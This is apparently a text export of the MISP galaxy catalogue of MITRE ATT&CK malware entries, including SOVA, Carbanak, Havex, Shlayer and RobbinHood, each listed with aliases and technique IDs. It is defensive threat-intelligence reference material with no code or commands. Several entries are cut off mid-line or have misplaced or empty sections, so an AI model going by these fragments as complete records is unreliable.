• uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1464" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1471" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Prevent Application Removal - T1629.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1628.001" with estimative-language:likelihood-probability="almost-certain"

Table 6590. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1062">https://attack.mitre.org/software/S1062</a></td>
</tr>
<tr>
<td><a href="https://www.cleafy.com/cleafy-labs/sova-malware-is-back-and-is-evolving-rapidly">https://www.cleafy.com/cleafy-labs/sova-malware-is-back-and-is-evolving-rapidly</a></td>
</tr>
</tbody>
</table>

**Android/Chuli.A - S0304**

[Android/Chuli.A](https://attack.mitre.org/software/S0304) is Android malware that was delivered to activist groups via a spearphishing email with an attachment. (Citation: Kaspersky-WUC)

The tag is: misp-galaxy:mitre-malware="Android/Chuli.A - S0304"
Android/Chuli.A - S0304 is also known as:

- Android/Chuli.A

View relationships graph

Android/Chuli.A - S0304 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Out of Band Data - T1644" with estimative-language:likelihood-probability="almost-certain"

Table 6591. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0304">https://attack.mitre.org/software/S0304</a></td>
</tr>
</tbody>
</table>

AndroidOS/MalLocker.B - S0524

[AndroidOS/MalLocker.B](https://attack.mitre.org/software/S0524) is a variant of a ransomware family targeting Android devices. It prevents the user from interacting with the UI by displaying a screen containing a ransom note over all other windows. (Citation: Microsoft MalLockerB)

The tag is: misp-galaxy:mitre-malware="AndroidOS/MalLocker.B - S0524"

AndroidOS/MalLocker.B - S0524 is also known as:

- AndroidOS/MalLocker.B

View relationships graph

AndroidOS/MalLocker.B - S0524 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1624.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1629.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

Table 6592. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0524">https://attack.mitre.org/software/S0524</a></td>
</tr>
</tbody>
</table>

**Android/AdDisplay.Ashas - S0525**

[Android/AdDisplay.Ashas](https://attack.mitre.org/software/S0525) is a variant of adware that has been distributed through multiple apps in the Google Play Store. (Citation: WeLiveSecurity AdDisplayAshas)

The tag is: *misp-galaxy:mitre-malware="Android/AdDisplay.Ashas - S0525"*

Android/AdDisplay.Ashas - S0525 is also known as:

• **Android/AdDisplay.Ashas**

View relationships graph

Android/AdDisplay.Ashas - S0525 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1437.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1624.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Checks - T1633.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Generate Traffic from Victim - T1643" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-
Trojan.Mebromi - S0001

[Trojan.Mebromi](https://attack.mitre.org/software/S0001) is BIOS-level malware that takes control of the victim before MBR. (Citation: Ge 2011)

The tag is: *misp-galaxy:mitre-malware="Trojan.Mebromi - S0001"

Trojan.Mebromi - S0001 is also known as:

- Trojan.Mebromi

View relationships graph

Trojan.Mebromi - S0001 has relationships with:


ANDROIDOS_ANSERVER.A - S0310

[ANDROIDOS_ANSERVER.A](https://attack.mitre.org/software/S0310) is Android malware that is unique because it uses encrypted content within a blog site for command and control. (Citation: TrendMicro-Anserver)

The tag is: *misp-galaxy:mitre-malware="ANDROIDOS_ANSERVER.A - S0310"

ANDROIDOS_ANSERVER.A - S0310 is also known as:

- ANDROIDOS_ANSERVER.A

View relationships graph

ANDROIDOS_ANSERVER.A - S0310 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1481.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

Table 6595. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0310">https://attack.mitre.org/software/S0310</a></td>
</tr>
</tbody>
</table>

Agent.btz - S0092

[Agent.btz](https://attack.mitre.org/software/S0092) is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. (Citation: Securelist Agent.btz)

The tag is: misp-galaxy:mitre-malware="Agent.btz - S0092"

Agent.btz - S0092 is also known as:

• Agent.btz

View relationships graph

Agent.btz - S0092 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6596. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0092">https://attack.mitre.org/software/S0092</a></td>
</tr>
</tbody>
</table>
Backdoor.Oldrea - S0093

[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a modular backdoor that used by [Dragonfly](https://attack.mitre.org/groups/G0035) against energy companies since at least 2013. [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) was distributed via supply chain compromise, and included specialized modules to enumerate and map ICS-specific systems, processes, and protocols. (Citation: Symantec Dragonfly) (Citation: Gigamon Berserk Bear October 2021) (Citation: Symantec Dragonfly Sept 2017)

The tag is: *misp-galaxy:mitre-malware="Backdoor.Oldrea - S0093"

Backdoor.Oldrea - S0093 is also known as:

- Backdoor.Oldrea
- Havex

View relationships graph

Backdoor.Oldrea - S0093 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Email Account - T1087.003" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:tool="Havex RAT" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6597. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0094">Trojan.Karagany</a> is a modular remote access tool used for recon and linked to <a href="https://attack.mitre.org/groups/G0035">Dragonfly</a>. The source code for <a href="https://attack.mitre.org/software/S0094">Trojan.Karagany</a> originated from Dream Loader malware which was leaked in 2010 and sold on underground forums. (Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)(Citation: Dragos DYMALLOY)</td>
</tr>
</tbody>
</table>

The tag is: misp-galaxy:mitre-malware="Trojan.Karagany - S0094"

Trojan.Karagany - S0094 is also known as:

• Trojan.Karagany
• xFrost
• Karagany

View relationships graph

Trojan.Karagany - S0094 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
macOS.OSAMiner - S1048

[macOS.OSAMiner](https://attack.mitre.org/software/S1048) is a Monero mining trojan that was first observed in 2018; security researchers assessed [macOS.OSAMiner](https://attack.mitre.org/software/S1048) may have been circulating since at least 2015. [macOS.OSAMiner](https://attack.mitre.org/software/S1048) is known for embedding one run-only AppleScript into another, which helped the malware evade full analysis for five years due to a lack of Apple event (AEVT) analysis tools. (Citation: SentinelLabs reversing run-only applescripts 2021) (Citation: VMRay OSAMiner dynamic analysis 2021)

The tag is: *misp-galaxy:mitre-malware="macOS.OSAMiner - S1048"

macOS.OSAMiner - S1048 is also known as:

- macOS.OSAMiner

View relationships graph

macOS.OSAMiner - S1048 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Embedded Payloads - T1027.009" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Launchctl - T1569.001" with estimative-language:likelihood-probability="almost-certain"
Table 6599. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1048">https://attack.mitre.org/software/S1048</a></td>
</tr>
</tbody>
</table>

**OSX_OCEANLOTUS.D - S0352**

[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) is a macOS backdoor used by [APT32](https://attack.mitre.org/groups/G0050). First discovered in 2015, [APT32](https://attack.mitre.org/groups/G0050) has continued to make improvements using a plugin architecture to extend capabilities, specifically using `.dylib` files. [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can also determine its permission level and execute according to access type *(root or user)*. *(Citation: Unit42 OceanLotus 2017)(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)*

The tag is: *misp-galaxy:mitre-malware="OSX_OCEANLOTUS.D - S0352"*

OSX_OCEANLOTUS.D - S0352 is also known as:

- OSX_OCEANLOTUS.D
- Backdoor.MacOS.OCEANLOTUS.F

**View relationships graph**

OSX_OCEANLOTUS.D - S0352 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Masquerade File Type - T1036.008" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1553.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 6600. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0352">https://attack.mitre.org/software/S0352</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/">https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/</a></td>
</tr>
</tbody>
</table>

**OSX/Shlayer - S0402**

[OSX/Shlayer](https://attack.mitre.org/software/S0402) is a Trojan designed to install adware on macOS that was first discovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)

The tag is: *misp-galaxy:mitre-malware="OSX/Shlayer - S0402"*

OSX/Shlayer - S0402 is also known as:

- OSX/Shlayer
- Zshlayer
- Crossrider

View relationships graph

OSX/Shlayer - S0402 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1553.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Resource Forking - T1564.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Elevated Execution with Prompt - T1548.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 6601. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0402">https://attack.mitre.org/software/S0402</a></td>
</tr>
</tbody>
</table>


**T9000 - S0098**

[T9000](https://attack.mitre.org/software/S0098) is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)
The tag is: `misp-galaxy:mitre-malware="T9000 - S0098"`

T9000 - S0098 is also known as:

- T9000

View relationships graph

T9000 - S0098 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:tool="T9000"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="Video Capture - T1125"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1546.010"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124"` with estimative-language:likelihood-probability="almost-certain"

Table 6602. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0098">https://attack.mitre.org/software/S0098</a></td>
</tr>
</tbody>
</table>
BS2005 - S0014

[BS2005](https://attack.mitre.org/software/S0014) is malware that was used by [Ke3chang](https://attack.mitre.org/groups/G0004) in spearphishing campaigns since at least 2011. (Citation: Mandiant Operation Ke3chang November 2014)

The tag is: `misp-galaxy:mitre-malware="BS2005 - S0014"`

BS2005 - S0014 is also known as:

- BS2005

View relationships graph

BS2005 - S0014 has relationships with:

- similar: misp-galaxy:tool="Hoardy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="BS2005" with estimative-language:likelihood-probability="likely"

Table 6603. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0014">https://attack.mitre.org/software/S0014</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs">https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs</a></td>
</tr>
</tbody>
</table>

Sys10 - S0060

[Sys10](https://attack.mitre.org/software/S0060) is a backdoor that was used throughout 2013 by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)

The tag is: `misp-galaxy:mitre-malware="Sys10 - S0060"`

Sys10 - S0060 is also known as:

- Sys10

View relationships graph

Sys10 - S0060 has relationships with:

Lurid - S0010

[Lurid](https://attack.mitre.org/software/S0010) is a malware family that has been used by several groups, including [PittyTiger](https://attack.mitre.org/groups/G0011), in targeted attacks as far back as 2006. (Citation: Villeneuve 2014) (Citation: Villeneuve 2011)

The tag is: `misp-galaxy:mitre-malware="Lurid - S0010"`

Lurid - S0010 is also known as:

- Lurid
- Enfal

View relationships graph

Lurid - S0010 has relationships with:

- similar: misp-galaxy:malpedia="Enfal" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="likely"
Dipsind - S0200

[Dipsind](https://attack.mitre.org/software/S0200) is a malware family of backdoors that appear to be used exclusively by [PLATINUM](https://attack.mitre.org/groups/G0068). (Citation: Microsoft PLATINUM April 2016)

The tag is: `misp-galaxy:mitre-malware="Dipsind - S0200"`

Dipsind - S0200 is also known as:

- Dipsind

View relationships graph

Dipsind - S0200 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 6606. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0200">https://attack.mitre.org/software/S0200</a></td>
</tr>
<tr>
<td><a href="https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf">https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf</a></td>
</tr>
</tbody>
</table>
**DressCode - S0300**

[DressCode](https://attack.mitre.org/software/S0300) is an Android malware family. (Citation: TrendMicro-DressCode)

The tag is: *misp-galaxy:mitre-malware="DressCode - S0300"*

View relationships graph

DressCode - S0300 has relationships with:


**Table 6607. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0300">https://attack.mitre.org/software/S0300</a></td>
</tr>
</tbody>
</table>

**Carbanak - S0030**

[Carbanak](https://attack.mitre.org/software/S0030) is a full-featured, remote backdoor used by a group of the same name ([Carbanak](https://attack.mitre.org/groups/G0008)). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak) (Citation: FireEye CARBANAK June 2017)

The tag is: *misp-galaxy:mitre-malware="Carbanak - S0030"*

Carbanak - S0030 is also known as:

- Carbanak
- Anunak

View relationships graph

Carbanak - S0030 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Screen Capture - T1113"* with *estimative-language:likelihood-probability="almost-certain"*

- uses: *misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001"* with *estimative-language:likelihood-probability="almost-certain"*

- uses: *misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"* with *estimative-language:likelihood-probability="almost-certain"*

- uses: *misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003"* with *estimative-language:likelihood-probability="almost-certain"*

- uses: *misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001"* with *estimative-
• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"


• similar: misp-galaxy:malpedia="Carbanak" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

Table 6608. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0030">https://attack.mitre.org/software/S0030</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html">https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html</a></td>
</tr>
</tbody>
</table>
RIPTIDE - S0003

[RIPTIDE](https://attack.mitre.org/software/S0003) is a proxy-aware backdoor used by [APT12](https://attack.mitre.org/groups/G0005). (Citation: Moran 2014)

The tag is: `misp-galaxy:mitre-malware="RIPTIDE - S0003"`

RIPTIDE - S0003 is also known as:

- RIPTIDE

View relationships graph

RIPTIDE - S0003 has relationships with:

- similar: `misp-galaxy:tool="Etumbot"` with estimative-language:likelihood-probability="likely"

Table 6609. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0003">https://attack.mitre.org/software/S0003</a></td>
</tr>
</tbody>
</table>

TinyZBot - S0004

[TinyZBot](https://attack.mitre.org/software/S0004) is a bot written in C# that was developed by [Cleaver](https://attack.mitre.org/groups/G0003). (Citation: Cylance Cleaver)

The tag is: `misp-galaxy:mitre-malware="TinyZBot - S0004"`

TinyZBot - S0004 is also known as:

- TinyZBot

View relationships graph

TinyZBot - S0004 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:tool="TinyZBot" with estimative-language:likelihood-probability="likely"

Table 6610. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0004">https://attack.mitre.org/software/S0004</a></td>
</tr>
</tbody>
</table>

RobbinHood - S0400

[RobbinHood](https://attack.mitre.org/software/S0400) is ransomware that was first observed being used in an attack against the Baltimore city government’s computer network.(Citation: CarbonBlack RobbinHood May 2019)(Citation: BaltimoreSun RobbinHood May 2019)

The tag is: misp-galaxy:mitre-malware="RobbinHood - S0400"

RobbinHood - S0400 is also known as:

• RobbinHood

View relationships graph

RobbinHood - S0400 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1070.005" with estimative-language:likelihood-probability="almost-certain"

